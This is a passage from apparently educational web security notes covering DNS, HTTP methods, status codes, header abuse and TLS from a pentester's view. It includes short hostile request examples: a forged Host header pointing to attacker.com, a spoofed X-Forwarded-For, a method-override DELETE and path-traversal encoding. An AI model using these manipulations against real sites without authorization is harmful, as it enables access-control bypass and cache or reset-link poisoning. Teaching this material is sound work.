• There are 13 logical root server clusters (A–M)

🧭 2. TLD (Top-Level Domain) DNS Servers

TLD DNS servers manage domains under a specific top-level domain such as .com, .org, or country-code domains like .in.

• They know which authoritative servers are responsible for a domain
• They do not store IP addresses for individual hosts
• They act as a directory for domain ownership

Example: A TLD server for .com knows where stardigitalsoftware.com is managed, but not its actual IP address.

📍 3. Authoritative DNS Servers

Authoritative DNS servers provide the final, trusted answers to DNS queries. They store the actual DNS records configured for a domain.

• Store records like A, AAAA, CNAME, MX, TXT
• Controlled by the domain owner or hosting provider
• Define how services are accessed

🔁 4. Recursive DNS Resolvers

Recursive resolvers act on behalf of users. They perform the full DNS lookup process by querying root, TLD, and authoritative servers.

• Used by browsers, operating systems, and networks
• Cache responses to improve performance
• Examples: ISP resolvers, Google DNS, Cloudflare DNS

🏢 5. Forwarding & Internal DNS Servers

In enterprise environments, organizations often deploy internal DNS servers that forward requests to upstream resolvers.

• Resolve internal hostnames
• Enforce security policies
• Log DNS activity for monitoring

🔄 How These Servers Work Together (High-Level Flow)

1. Client sends query to a recursive resolver
2. Resolver queries a root server
3. Root server refers to a TLD server
4. TLD server refers to an authoritative server
5. Authoritative server returns the final answer
6. Resolver caches and returns the response to the client

🔐 Security & Pentesting Perspective

Understanding DNS server roles helps security professionals identify attack vectors and misconfigurations.

• Open recursion vulnerabilities
• Zone transfer misconfigurations
• Cache poisoning risks
• Weak DNS access controls

1.7 DNS Records Explained

DNS records are structured instructions stored on authoritative DNS servers. They define how a domain behaves, where services are hosted, and how external systems should interact with the domain.

From an enterprise and security perspective, DNS records are extremely valuable because they often reveal infrastructure details, third-party services, and security controls.

📍 A Record (Address Record)

An A record maps a domain or subdomain directly to an IPv4 address. This is the most common DNS record type.

• Used for websites, APIs, and backend services
• Can point to a single server or a load balancer
• Multiple A records enable basic load balancing

📍 AAAA Record (IPv6 Address Record)

An AAAA record performs the same function as an A record but maps a domain to an IPv6 address.

• Required for IPv6-only networks
• Often deployed alongside A records
• Increasingly important for modern infrastructure

🔁 CNAME Record (Canonical Name)

A CNAME record creates an alias that points one domain name to another domain name instead of an IP address.

• Commonly used with cloud services and CDNs
• Allows infrastructure changes without DNS updates
• Cannot coexist with other record types at the same name

📧 MX Record (Mail Exchange)

An MX record defines which mail servers are responsible for receiving email for a domain.

• Uses priority values (lower = higher priority)
• Often points to third-party email providers
• Critical for email reliability and security

📝 TXT Record (Text Record)

A TXT record stores arbitrary text data associated with a domain. While originally generic, TXT records are now heavily used for security and verification.

• Domain ownership verification
• Email security (SPF, DKIM, DMARC)
• Cloud service validation

🔐 Security-Relevant DNS Records

Some DNS records directly impact security posture and are frequently reviewed during penetration tests.

• SPF – Controls which servers can send email
• DKIM – Cryptographically signs emails
• DMARC – Defines email authentication policy
• CAA – Restricts certificate authorities

🏢 DNS Records in Enterprise Environments

In enterprise and cloud architectures, DNS records are used as a control layer for routing, security, and service discovery.

• Traffic steering across regions
• Failover during outages
• Integration with third-party SaaS platforms
• Zero-downtime migrations

🔍 DNS Records from a Pentester’s Perspective

DNS records often leak valuable reconnaissance data:

• Cloud providers and CDNs
• Email infrastructure
• Third-party integrations
• Forgotten or deprecated services

2A.8 Step-by-Step: What Happens When You Search a Domain

🔄 High-Level Overview

When a user enters a domain name into a browser, a series of network, DNS, and protocol-level operations take place before any web page is displayed. This process is optimized through caching and retries, making subsequent visits significantly faster.

🧭 First-Time Visit: Complete DNS Resolution Flow

The following steps describe what happens when a domain is accessed for the first time (no cached DNS entries exist).

1. User enters a domain in the browser
   Example: www.example.com
   The browser parses the input, identifies it as a Fully Qualified Domain Name (FQDN), and determines that name resolution is required before any network connection can be made.
   ⚠️ At this point, the browser has no idea where the website is hosted.
2. Browser DNS cache is checked
   Modern browsers maintain their own DNS cache to reduce latency and repeated lookups. This cache is isolated per browser and usually has a very short lifetime.
   ✔️ If a valid entry exists here, the entire DNS resolution process is skipped.
3. Operating System DNS cache is checked
   The operating system maintains a system-wide DNS cache shared by all applications. This cache is populated by previous resolutions and responses from DNS resolvers.
   💡 Commands like ipconfig /displaydns or systemd-resolve --statistics expose this layer.
4. Hosts file is checked
   The OS checks the local hosts file for manually defined domain-to-IP mappings. This file has higher priority than DNS.
   🚨 From a security perspective, malware frequently abuses this file to silently redirect traffic.
5. DNS query sent to Recursive Resolver
   If no local mapping exists, the OS sends a recursive DNS query to the configured resolver (ISP DNS, enterprise DNS, or public resolvers like Google 8.8.8.8 or Cloudflare 1.1.1.1).
   The client essentially says:
   “I don’t care how — give me the final IP address.”
6. Resolver checks its own cache
   The recursive resolver maintains a large shared cache used by thousands or millions of clients. If the record exists and TTL has not expired, the resolver responds immediately.
   ✔️ This step is why DNS appears fast for most users.
7. Resolver queries a Root DNS server
   If no cache entry exists, the resolver begins iterative resolution. It contacts one of the 13 logical Root DNS servers.
   Root servers do not know the IP address. They only reply with:
   “Ask the appropriate TLD server.”
8. Resolver queries the TLD DNS server
   The resolver queries the Top-Level Domain (TLD) server (e.g., .com, .org, .in).
   The TLD server responds with the location of the authoritative DNS servers for the domain.
   💡 This step enforces domain ownership boundaries.
9. Resolver queries the Authoritative DNS server
   The authoritative server is the final source of truth. It returns the actual DNS record:
   • A record → IPv4 address
   • AAAA record → IPv6 address
   • CNAME → Alias resolution
   ✔️ This is the first time the real IP address is revealed.
10. Resolver caches the response
    The resolver stores the DNS response based on its TTL (Time To Live). This cached entry will serve future users until the TTL expires.
    ⚠️ Incorrect TTL values can cause outages or slow recovery.
11. IP address returned to the client
    The resolver sends the final IP address back to the operating system, which passes it to the browser.
    ✔️ DNS resolution is now complete.
12. Browser initiates TCP connection
    Only after DNS resolution:
    • TCP three-way handshake begins
    • HTTPS negotiation (TLS handshake) occurs
    • HTTP requests are finally sent
    🔐 DNS always finishes before encryption starts.

⚡ Second-Time Visit: Cached Resolution Flow

On subsequent visits, most DNS steps are skipped due to caching. This is why websites load faster the second time.

1. Browser DNS cache is checked
   Modern browsers store recently resolved domain names in a short-lived internal cache. If the DNS record exists and the TTL is still valid, the browser immediately retrieves the IP address.
   ✔️ This is the fastest possible DNS resolution path.
2. Operating System DNS cache is checked
   If the browser cache does not contain the entry, the operating system’s system-wide DNS cache is queried. This cache is shared by all applications on the system and persists across browser restarts.
   💡 This layer is commonly inspected or flushed during troubleshooting.
3. Cached response validated against TTL
   Before using any cached entry, the system verifies that the TTL (Time To Live) has not expired. If the TTL is still valid, the cached IP is trusted and no external DNS communication is required.
   ⚠️ Once TTL expires, the cache entry becomes invalid and full DNS resolution is triggered again.
4. No external DNS query is required
   Because the IP address is already known, the system does not contact:
   • Recursive DNS resolvers
   • Root DNS servers
   • TLD DNS servers
   • Authoritative DNS servers
   ✔️ This dramatically reduces latency and network overhead.
5. Browser connects directly to the IP address
   With DNS resolution complete from cache, the browser immediately initiates the TCP connection to the server. If HTTPS is used, the TLS handshake follows.
   🚀 Page rendering begins almost instantly.

⚡ Non-Recursive Query: Immediate Resolution Flow

The following steps describe what happens when a DNS query is answered without contacting other DNS servers. This occurs when the DNS server already knows the answer.

1. User enters a domain in the browser
   Example: www.example.com
   The browser determines that DNS resolution is required before establishing a network connection.
2. DNS query sent to configured DNS server
   The operating system sends the DNS request to the configured DNS resolver (ISP, enterprise DNS, or public resolver).
3. DNS server checks if it is authoritative
   If the server is the authoritative DNS server for the requested domain, it directly checks its zone file.
   ✔️ Since it owns the domain records, it already has the answer.
4. Server checks its cache (if not authoritative)
   If the server is a recursive resolver, it checks whether the record exists in its local cache.
   The server verifies that the TTL has not expired.
5. Immediate DNS response generated
   If the record is found (authoritative or cached), the server immediately returns:
   • A record → IPv4 address
   • AAAA record → IPv6 address
   • CNAME → Alias target
   ✔️ No external DNS servers are contacted.
6. No iterative resolution occurs
   The server does not contact:
   • Root DNS servers
   • TLD DNS servers
   • Other authoritative servers
   🚀 This makes the response extremely fast.
7. Browser receives IP and connects
   The IP address is returned to the OS and browser. The browser then:
   • Initiates TCP handshake
   • Performs TLS handshake (if HTTPS)
   • Sends HTTP request

Client → DNS Server (Authoritative or Cache Hit) → Immediate IP → Client
                             

⏱️ DNS TTL (Time To Live)

Every DNS record includes a TTL value that determines how long it can be cached.

• Short TTL → Faster changes, more DNS traffic
• Long TTL → Better performance, slower updates
• Common TTL values: 60s, 300s, 3600s

🔁 What Happens If Something Fails?

DNS resolution includes retries and fallback mechanisms.

• Resolver tries alternative DNS servers
• IPv6 resolution may fall back to IPv4
• Cached stale responses may be used temporarily
• Timeouts trigger retry logic

🔐 Security & Pentesting Perspective

Understanding the full DNS resolution flow allows security professionals to:

• Identify cache poisoning opportunities
• Detect malicious resolvers
• Bypass DNS-based security controls
• Understand redirection attacks

Root DNS Servers        → point to TLD servers (.com, .org, .net, .in)
TLD DNS Servers         → point to Authoritative DNS servers
Authoritative DNS       → returns the final IP address
                                 

User / Browser
    ↓
Browser DNS Cache
    ↓
Operating System DNS Cache
    ↓
HOSTS File
    ↓
Recursive DNS Resolver (ISP / 8.8.8.8 / 1.1.1.1)
    ↓
Root DNS Servers        → point to TLD servers (.com, .org, .net, .in)
    ↓
TLD DNS Servers         → point to Authoritative DNS servers
    ↓
Authoritative DNS       → returns the final IP address
    ↓
Recursive Resolver (caches response)
    ↓
Browser connects to the IP (TCP → HTTPS)
                                 

2A.9 DNS Caching

📖 What is DNS Caching?

DNS caching is the process of temporarily storing DNS query results so that future requests for the same domain can be answered faster without repeating the full DNS resolution process.

Caching is a core performance optimization that allows the internet to scale. Without DNS caching, every website visit would require multiple DNS queries to root, TLD, and authoritative servers.

🧠 Why DNS Caching Exists

• Reduces DNS lookup latency
• Decreases network traffic
• Reduces load on DNS infrastructure
• Improves user experience and page load time

🗂️ Levels of DNS Caching

DNS caching occurs at multiple layers. Each layer may store the same DNS response independently.

1️⃣ Browser DNS Cache

• Maintained by the web browser itself
• Shortest cache lifetime
• Cleared when the browser is restarted (in most cases)

2️⃣ Operating System DNS Cache

• System-wide cache shared by all applications
• Survives browser restarts
• Can be flushed manually (e.g., ipconfig /flushdns)

3️⃣ Recursive Resolver / ISP Cache

• Used by ISPs, enterprises, and public DNS providers
• Shared across many users
• Has the greatest performance impact

⏱️ DNS TTL (Time To Live)

Every DNS record includes a TTL value, which defines how long the record may be cached. Once the TTL expires, the record must be refreshed from the authoritative server.

• Short TTL → Faster updates, higher DNS traffic
• Long TTL → Better performance, slower changes
• Typical TTL values: 60s, 300s, 3600s

🔄 Positive vs Negative Caching

DNS caching applies to both successful and failed queries.

• Positive caching: Stores valid DNS answers
• Negative caching: Stores “domain not found” responses

🏢 DNS Caching in Enterprise & Cloud Environments

Enterprises use DNS caching strategically to improve reliability and performance.

• Internal resolvers cache internal service names
• Split-horizon DNS (internal vs external resolution)
• Local caching improves application response time
• Centralized logging of DNS queries

🔐 Security Risks of DNS Caching

While DNS caching improves performance, it also introduces security risks when trust is abused.

• DNS cache poisoning
• Redirection to malicious servers
• Persistence of malicious responses
• Difficulty detecting poisoned caches

🧪 DNS Caching from a Pentester’s Perspective

Security testers analyze DNS caching behavior to:

• Identify weak resolvers
• Test cache poisoning protections
• Understand DNS-based access controls
• Bypass security mechanisms relying on DNS

2A.10 Where DNS Can Be Attacked

Because DNS is the first dependency of almost all internet communication, it is a highly attractive target for attackers. If an attacker can influence DNS resolution, they can redirect users without touching the web application itself.

🧨 1. DNS Spoofing (DNS Hijacking)

DNS spoofing occurs when an attacker provides false DNS responses, causing a domain to resolve to a malicious IP address. This can happen at multiple points in the resolution chain.

• User is redirected to a fake website
• Credentials are harvested
• Malware may be silently delivered

☠️ 2. DNS Cache Poisoning

DNS cache poisoning targets recursive DNS resolvers. Attackers inject malicious DNS records into the resolver’s cache, causing it to return incorrect IP addresses to many users.

• Affects all users relying on the poisoned resolver
• Persists until TTL expires or cache is flushed
• Often combined with race conditions or weak randomization

🕵️ 3. Malicious or Compromised DNS Resolvers

Not all DNS resolvers are trustworthy. Attackers may operate or compromise resolvers to manipulate DNS responses.

• Public or rogue DNS servers return altered responses
• ISP DNS infrastructure may be compromised
• Enterprise internal resolvers may be misconfigured

🧬 4. Man-in-the-Middle (MITM) Attacks on DNS

DNS queries are traditionally sent in cleartext. This allows attackers on the same network to intercept and modify DNS responses.

• Common on public Wi-Fi networks
• Attackers inject fake DNS responses
• Users are redirected before HTTPS begins

🔓 5. Unauthorized Zone Transfers

DNS zone transfers are used to replicate DNS data between authoritative servers. If misconfigured, attackers can download the entire DNS zone.

• Reveals internal hostnames
• Exposes infrastructure layout
• Provides a full target list for attackers

🧱 6. Subdomain Takeover via DNS Misconfiguration

Subdomain takeovers occur when DNS records (usually CNAMEs) point to resources that no longer exist. Attackers can claim the unused resource and gain control.

• Common with cloud services and CDNs
• Allows full control of the subdomain
• Often leads to phishing or malware delivery

🧠 DNS Attacks in the Real World

Real-world DNS attacks are often subtle and long-lived:

• Users redirected only occasionally
• Attacks limited to specific regions
• Malicious records hidden behind long TTLs
• Detection delayed due to caching

🔐 Security & Pentesting Perspective

Security professionals evaluate DNS attack surfaces by testing:

• Resolver trust and configuration
• Zone transfer permissions
• Dangling DNS records
• DNSSEC deployment
• Logging and monitoring coverage

2A.11 DNS from a Pentester’s Perspective

🎯 Why DNS Matters in Pentesting

• Target discovery starts with DNS
• Subdomains reveal hidden services
• DNS records expose infrastructure

2.1 HTTP Protocol Overview (Attack Surface)

What is HTTP?

HTTP (HyperText Transfer Protocol) is a stateless, application-layer communication protocol that defines how clients (browsers, mobile apps, API consumers) exchange data with servers over the internet.

Every interaction on a website — viewing pages, logging in, submitting forms, calling APIs, uploading files, or making payments — is translated into one or more HTTP requests and responses.

Client–Server Architecture

• Client: Browser, mobile app, API tool (Postman, curl)
• Server: Web server + backend application logic (Apache, Nginx, IIS, Laravel, Spring, Node)

Client  --->  HTTP Request  --->  Server
Client  <---  HTTP Response <---  Server
                             

The server does not see clicks, buttons, or UI elements — it only sees HTTP requests. Everything else is a browser abstraction.

Stateless Nature of HTTP

HTTP is stateless, meaning each request is independent. The server does not automatically remember previous requests.

• No built-in session memory
• No user identity by default
• No request ordering guarantee

HTTP Trust Model (Why Attacks Exist)

HTTP follows a simple trust model: the server must trust and parse data sent by the client.

• Methods are client-supplied
• Headers are client-supplied
• Parameters are client-supplied
• Bodies are client-supplied

Why HTTP Is a Massive Attack Surface

• Requests are human-readable and modifiable
• Tools and browsers allow full request control
• Servers rely on parsing logic
• Security decisions are often HTTP-based

Vulnerabilities rarely exist in encryption itself — they exist in how servers interpret and trust HTTP data.

Inherent Limitations of HTTP

• No built-in authentication
• No built-in authorization
• No replay protection
• No input validation

These protections must be implemented by developers, frameworks, and infrastructure — often incorrectly.

Attacker’s View of HTTP

• Every button = request
• Every request = editable
• Every edit = potential vulnerability

2.2 HTTP Request Structure & Parsing

Every HTTP request sent by a browser is broken into multiple components. Each component may be parsed by different systems such as load balancers, WAFs, frameworks, and application code. Understanding this parsing chain is critical for web security testing.

Parts of an HTTP Request

1. Request Line – Defines intent
2. Headers – Metadata & control information
3. Body (optional) – User-supplied data

Request Line (Critical Control Point)

GET /about HTTP/1.1
                             

• GET → HTTP Method (action)
• /about → Resource path
• HTTP/1.1 → Protocol version

The request line defines what the client wants to do. Many security decisions (routing, permissions, caching) depend on how this line is interpreted.

Request Line Abuse Examples

• Changing method (GET → POST)
• Using unexpected paths (/admin vs /Admin)
• Encoding tricks (%2e%2e/)
• HTTP version confusion

HTTP Version (Protocol Behavior Layer)

The HTTP version defines how the client and server communicate at the protocol level. It determines connection handling, performance features, and certain security behaviors.

GET /about HTTP/1.1
                             

• HTTP/1.0 – Basic request/response model, no persistent connections
• HTTP/1.1 – Persistent connections, Host header required
• HTTP/2 – Binary protocol, multiplexing, header compression
• HTTP/3 – Uses QUIC (UDP-based), improved performance & reliability

🔐 Security Impact of HTTP Versions

• HTTP/1.0 lacks Host header enforcement
• HTTP/1.1 introduces request pipelining issues
• HTTP/2 introduces request smuggling risks
• Version downgrades can bypass protections

🧪 Example: Version Confusion

GET /admin HTTP/1.0
Host: example.com
                             

If the infrastructure expects HTTP/1.1 but processes HTTP/1.0 differently, security checks may fail.

Headers (Context & Authority)

Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html
Authorization: Bearer token
Content-Type: application/json
X-Forwarded-For: 127.0.0.1
                             

Headers provide additional information about the request. Many applications make trust decisions based on headers.

Common Header Roles

• Host – Determines virtual host routing
• Authorization – Authentication identity
• Content-Type – How body is parsed
• X-Forwarded-For – Client IP (often trusted incorrectly)

Body (User-Controlled Data)

{
  "username": "Shekhar",
  "password": "12345"
}
                             

The body carries user input and is usually processed by application logic, ORMs, and validation layers. Improper parsing here leads to injections and logic flaws.

Body Parsing Risks

• JSON vs form-data confusion
• Duplicate parameters
• Unexpected data types
• Hidden or extra fields

How HTTP Requests Are Parsed (Real Flow)

Browser
  ↓
CDN / Load Balancer
  ↓
WAF / Security Layer
  ↓
Web Server (Nginx / Apache)
  ↓
Framework (Laravel / Spring / Express)
  ↓
Application Code
                             

Each layer may parse the request independently. If any layer disagrees with another, attackers can exploit the difference.

Real-World Parsing Abuse Scenarios

• WAF blocks parameter A, app uses parameter B
• Duplicate headers parsed differently
• Content-Type mismatch bypassing validation
• Method override via headers or body

2.3 HTTP Request Methods & Misuse

HTTP request methods (also called verbs) tell the server what action the client wants to perform on a resource. Many critical security decisions depend on the method used.

What Are HTTP Methods?

Each HTTP method has defined semantics: whether it should change server state, whether it can be safely repeated, and how it should be protected.

Common HTTP Methods Overview

Method Semantics (Why They Matter)

• Safe methods should not modify data
• Unsafe methods must be protected
• Idempotent methods should behave the same on repeat
• Servers must enforce behavior, not trust the method name

Method-by-Method Security Analysis

GET Method

• Used to retrieve data
• Parameters passed via URL
• Should never change server state

Abuse: Account deletion, logout, or payment via GET

POST Method

• Used to submit or create data
• Supports request body
• Not idempotent

Abuse: CSRF, replay attacks, missing validation

PUT Method

• Replaces entire resource
• Idempotent by definition
• Often misconfigured

Abuse: Overwriting other users’ data

PATCH Method

• Updates specific fields
• Common in modern APIs
• High-risk for logic flaws

Abuse: Modifying restricted fields (role, price)

DELETE Method

• Deletes a resource
• Idempotent but destructive
• Must enforce strict authorization

Abuse: Deleting other users’ resources

HEAD Method

• Identical to GET but returns only headers (no body)
• Useful for checking existence, size, or last-modified time
• Should be safe and idempotent

Abuse: Bypassing content inspection or logging (since no body is logged), reconnaissance without triggering full response, or evading rate‑limits based on response size.

OPTIONS Method

• Returns the allowed HTTP methods for a given resource
• Used in CORS preflight requests
• Typically safe and idempotent

Abuse: Information disclosure – attackers learn which methods are enabled (e.g., DELETE, PUT) to plan further attacks. Also can reveal server software via custom headers.

TRACE Method

• Echoes back the exact request, intended for debugging
• No modification, but can leak sensitive data
• Often disabled by default in modern servers

Abuse: Cross‑Site Tracing (XST) – stealing cookies or authorization headers via JavaScript, even if HttpOnly flag is set. Also exposes internal request data.

CONNECT Method

• Establishes a tunnel to a remote server (used for HTTPS proxies)
• Should be restricted to proxy servers only
• Not intended for regular web applications

Abuse: Proxy abuse – tunnelling malicious traffic (e.g., SMTP, SSH, or malicious web requests) through a misconfigured proxy, bypassing firewalls or accessing internal networks.

Method Override & Confusion Attacks

Some frameworks allow method override using headers or parameters.

POST /user/5
X-HTTP-Method-Override: DELETE
                             

• WAF checks POST, app executes DELETE
• Authorization applied inconsistently

Required Security Controls Per Method

• Authentication – who is the user?
• Authorization – can they perform THIS action?
• CSRF protection – for unsafe methods
• Rate limiting – for destructive operations

2.4 Safe vs Unsafe HTTP Methods

HTTP methods are classified as safe or unsafe based on whether they are intended to change server state. This classification has important security implications, but it is often misunderstood or misused by developers.

🟢 Safe HTTP Methods (By Definition)

Safe methods are designed to not modify server-side data. They are typically used for read-only operations.

• GET – Retrieve a resource
• HEAD – Retrieve headers only

Common Misuse of Safe Methods

• Account logout via GET
• Password reset triggers via GET
• Delete actions using query parameters
• Financial actions via clickable links

Unsafe HTTP Methods

Unsafe methods are intended to modify server state. They require strict security controls.

• POST – Create or submit data
• PUT – Replace a resource
• PATCH – Partially update data
• DELETE – Remove a resource

Required Protections for Unsafe Methods

• Strong authentication
• Per-object authorization checks
• CSRF protection (for browser clients)
• Rate limiting
• Audit logging

Safe vs Unsafe Methods – Security Comparison

Pentester Perspective

• Never trust the method label
• Observe real server behavior
• Test GET requests for side effects
• Test unsafe methods for missing authorization

2.5 Idempotent Methods & Replay Risks

Idempotency is a core HTTP concept that defines how a request behaves when it is sent multiple times. Misunderstanding idempotency is a major cause of replay attacks and business logic flaws.

What Is Idempotency?

An idempotent request produces the same result no matter how many times it is repeated with the same input.

Examples

• GET /users/5 → always returns user 5
• PUT /users/5 → user is updated to the same final state
• DELETE /users/5 → user is deleted (once)

Idempotency by HTTP Method

What Is a Replay Attack?

A replay attack occurs when an attacker captures a valid request and sends it again — one or more times — to repeat the same action.

Original Request  --->  Accepted by Server
Replay Request    --->  Accepted Again ❌
                             

Common Replay Attack Scenarios

• Repeating a payment request
• Reusing a discount or coupon API
• Replaying OTP verification requests
• Repeating account credit or wallet top-up
• Replaying password reset confirmations

Why Replay Attacks Work

• No request uniqueness enforced
• No nonce or timestamp validation
• Trusting client-side state
• Missing server-side tracking

HTTP itself has no built-in replay protection. Developers must explicitly add it.

📱 Replay Risks in APIs & Mobile Apps

• Mobile apps reuse tokens
• APIs accept identical JSON payloads
• No CSRF protection in APIs
• Attackers can automate replay easily

🛡️ Anti-Replay Protection Techniques

• Unique request IDs (idempotency keys)
• One-time tokens or nonces
• Timestamp + expiry validation
• Server-side request tracking
• Rate limiting critical endpoints

Idempotency-Key: 9f8c7a12-unique-id
                             

🧪 Pentester Testing Checklist

• Capture a valid request
• Send it again without modification
• Send it multiple times rapidly
• Change timing but keep payload same
• Observe balance, state, or response changes

2.6 HTTP Response Status Codes & Attack Indicators

HTTP response status codes tell the client how the server interpreted and processed a request. For attackers and pentesters, response codes act like debug signals revealing authentication logic, authorization boundaries, validation behavior, and error handling.

1xx – Informational Responses

1xx responses indicate that the request was received and the server is continuing processing. These are rarely seen in browsers but may appear in low-level HTTP tools.

• 100 Continue – Server is ready to receive request body
• 101 Switching Protocols – Protocol upgrade (e.g., WebSocket)

2xx – Success Responses

2xx responses indicate that the server accepted and processed the request successfully. However, success does not always mean security.

• 200 OK – Request processed normally
• 201 Created – New resource created
• 202 Accepted – Request accepted but not completed
• 204 No Content – Action succeeded, no response body

Attack Indicators (2xx)

• 200 on unauthorized actions → IDOR
• 200 on admin endpoints → access control failure
• 204 on DELETE without auth → silent data loss

3xx – Redirection Responses

3xx responses instruct the client to perform another request. They are commonly used in login flows, workflows, and navigation.

• 301 / 302 – Permanent / Temporary redirect
• 303 See Other – Redirect after POST
• 307 / 308 – Method-preserving redirect

Attack Indicators (3xx)

• Redirect loops → logic flaws
• Redirect after failed auth → bypass attempts
• Open redirects → phishing & token leakage

4xx – Client Error Responses

4xx responses indicate that the request was rejected due to client-side issues. These codes reveal validation, auth, and permission logic.

• 400 Bad Request – Malformed input
• 401 Unauthorized – Authentication required
• 403 Forbidden – Authenticated but not allowed
• 404 Not Found – Resource hidden or missing
• 405 Method Not Allowed – Wrong HTTP method
• 429 Too Many Requests – Rate limiting triggered

Attack Indicators (4xx)

• 401 vs 403 difference → auth boundary mapping
• 403 turning into 200 → authorization bypass
• 404 on admin pages → forced browsing target
• 405 revealing allowed methods

5xx – Server Error Responses

5xx responses indicate server-side failures. These are highly valuable to attackers because they often reveal bugs, crashes, or misconfigurations.

• 500 Internal Server Error – Unhandled exception
• 502 Bad Gateway – Upstream failure
• 503 Service Unavailable – Overload or downtime
• 504 Gateway Timeout – Backend delay

Attack Indicators (5xx)

• 500 after input change → injection attempt
• Stack traces → information disclosure
• 502/504 → request smuggling clues
• 503 under load → DoS vector

Mapping Status Codes to Vulnerabilities

2.7 HTTP Headers Abuse & Manipulation

HTTP headers are key–value pairs sent with every request and response. They provide extra information about the client, request, and data format. From a security perspective, headers are dangerous because they are fully controlled by the client.

📨 Important HTTP Request Headers

• Host – Which website the request is for
• User-Agent – Browser or app identity
• Authorization – Login token or credentials
• Content-Type – How the request body should be parsed
• X-Forwarded-For – Original client IP (proxy header)

Developers often trust these headers for routing, access control, or security checks. That trust is frequently misplaced.

📄 Example HTTP Headers

Host: api.example.com
User-Agent: Mozilla/5.0
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json
X-Forwarded-For: 127.0.0.1
    

🚨 Common Header Abuse (Easy Explanation)

1️⃣ IP Spoofing via Proxy Headers

Some applications trust headers like X-Forwarded-For to identify the client IP. Attackers can simply fake this header.

X-Forwarded-For: 127.0.0.1
    

2️⃣ Host Header Attacks

The Host header tells the server which domain is being accessed. If this header is trusted blindly, attackers can:

• Generate malicious password reset links
• Poison caches
• Bypass virtual host restrictions

Host: attacker.com
    

3️⃣ Authorization Header Abuse

The Authorization header carries login tokens. Common mistakes include:

• Not validating token ownership
• Accepting expired tokens
• Missing authorization checks

4️⃣ Content-Type Confusion

Content-Type tells the server how to parse the body. Changing it can confuse validation logic.

Content-Type: text/plain
    

• JSON validation bypass
• WAF bypass
• Parser inconsistencies

5️⃣ User-Agent Trust Issues

Some applications behave differently based on the User-Agent.

• Mobile-only features
• Admin panels for internal tools
• Debug modes

🧠 Why Header Abuse Works

• Headers look “system-generated”
• Developers assume browsers won’t modify them
• Security logic is placed in headers
• Proxies add complexity and confusion

🧪 Pentester Header Testing Checklist

• Modify one header at a time
• Observe response code changes
• Test trusted headers (Host, X-Forwarded-For)
• Change Content-Type with same body
• Replay requests with modified Authorization

2.8 Cookies, Sessions & Authentication Flow

HTTP is stateless. Sessions and cookies are used to maintain user identity.

🔐 Common Session Weaknesses

• Predictable session IDs
• Session fixation
• Missing expiration
• Insecure cookie flags

2.9 Web Server Logs & Forensic Evidence

📜 Why Logs Matter

• Detect attacks
• Investigate incidents
• Provide legal evidence

📌 Common Logged Data

• IP addresses
• Request paths
• Response codes
• Timestamps

2.10 TLS / SSL Basics & Secure Channel Concepts

SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) are cryptographic protocols designed to create a secure communication channel between a client and a server over an untrusted network such as the Internet.

SSL is now deprecated (SSLv2 in 2011, SSLv3 in 2015). In modern systems, the term “SSL” commonly refers to TLS 1.2 and TLS 1.3, which are currently considered secure and industry-approved. TLS 1.0 and 1.1 were deprecated in 2020 by major browsers and the IETF.

High-Level HTTPS & TLS Flow

Secure web communication follows a layered process: TCP connection → TLS handshake → encrypted application data.

TCP establishes reliability first, TLS adds encryption and trust, then application data flows securely.

Security Goals of TLS

• Confidentiality – Data is encrypted so attackers cannot read it.
• Integrity – Data cannot be altered without detection (using MAC or AEAD).
• Authentication – The client verifies the server’s identity (and optionally vice versa).

Step 0: TCP Handshake (Before TLS)

Before TLS encryption begins, a reliable connection must first be established using TCP (Transmission Control Protocol). This happens through a process called the 3-Way Handshake.

Client                         Server
  | -------- SYN -------------> |
  | <------- SYN-ACK ---------- |
  | -------- ACK -------------> |
Connection Established ✅
                                 

TLS Handshake – Detailed Conceptual Flow

Asymmetric cryptography establishes trust; symmetric encryption protects data.

📊 TLS Handshake – Quick Reference

* Some steps (CertificateRequest, CertificateVerify) omitted for brevity; they occur in mutual TLS.

📋 TLS Versions – Quick Reference

🔄 Session Resumption – Faster Reconnections

TLS supports two mechanisms to resume a previous session without a full handshake:

🚀 TLS 1.3 – Major Improvements

⚠️ TLS-Related Attacks (Historical & Modern)

Modern TLS 1.2/1.3 configurations mitigate these by disabling weak algorithms and implementing countermeasures.

Encrypted Application Data Phase

After the TLS handshake completes, all application data (HTTP requests, API calls, credentials, cookies) is transmitted in encrypted form using the symmetric session keys.

Each record is protected with a MAC (or AEAD tag) to ensure integrity and optionally includes a sequence number to prevent replay.

HTTP GET /login        ❌ (Plaintext)
HTTPS GET /login       ✅ (Encrypted via TLS)
                             

📚 TLS/SSL Glossary

02.11 TLS Abuse, Certificate Analysis & Evidence

While TLS provides strong security, misconfigurations, weak certificates, or improper implementations can still expose applications to serious risks. Ethical hackers must identify and document these weaknesses responsibly.

Common TLS Misconfigurations & Abuse

• Expired or self-signed certificates
• Weak or deprecated cipher suites
• Support for old TLS versions (TLS 1.0 / 1.1)
• Improper certificate validation
• Missing certificate chain (intermediate CA)
• Insecure renegotiation settings

Digital Certificate Analysis (Conceptual)

A digital certificate binds a public key to an identity. Ethical hackers must inspect certificates to ensure trust is properly established.

Key Certificate Fields to Review

• Common Name (CN) & Subject Alternative Names (SAN)
• Issuer (Certificate Authority)
• Validity period (Not Before / Not After)
• Public key algorithm and size
• Signature algorithm (SHA-256, SHA-1, etc.)

🔍 Indicators of Weak or Abusive TLS Usage

• Browser security warnings
• Certificate mismatch errors
• Untrusted CA alerts
• Mixed content warnings (HTTPS + HTTP)
• Absence of HSTS headers

Evidence Collection (Ethical & Defensive)

During assessments, TLS issues must be documented clearly and responsibly. Evidence should focus on configuration state, not exploitation.

Acceptable Evidence Examples

• Certificate details (issuer, expiry)
• Supported TLS versions
• Cipher suite configuration
• Browser or tool warnings
• Server response headers

TLS Hardening Best Practices

• Use TLS 1.2 or TLS 1.3 only
• Disable weak ciphers and protocols
• Use strong certificates (RSA 2048+ or ECC)
• Enable HSTS
• Regular certificate renewal and monitoring

02.12 Web Servers Explained (Apache, Nginx, IIS)

A web server is the first major processing layer that interacts with client requests over HTTP and HTTPS. It is responsible for receiving, parsing, validating, routing, and responding to requests before they reach any application logic.

Because web servers operate at the protocol and transport boundary, implementation differences directly influence how requests are interpreted, logged, forwarded, or rejected — making them a critical component of the overall attack surface.

Core Responsibilities of a Web Server

• Accepting TCP connections and managing client sessions
• Negotiating TLS for encrypted communication
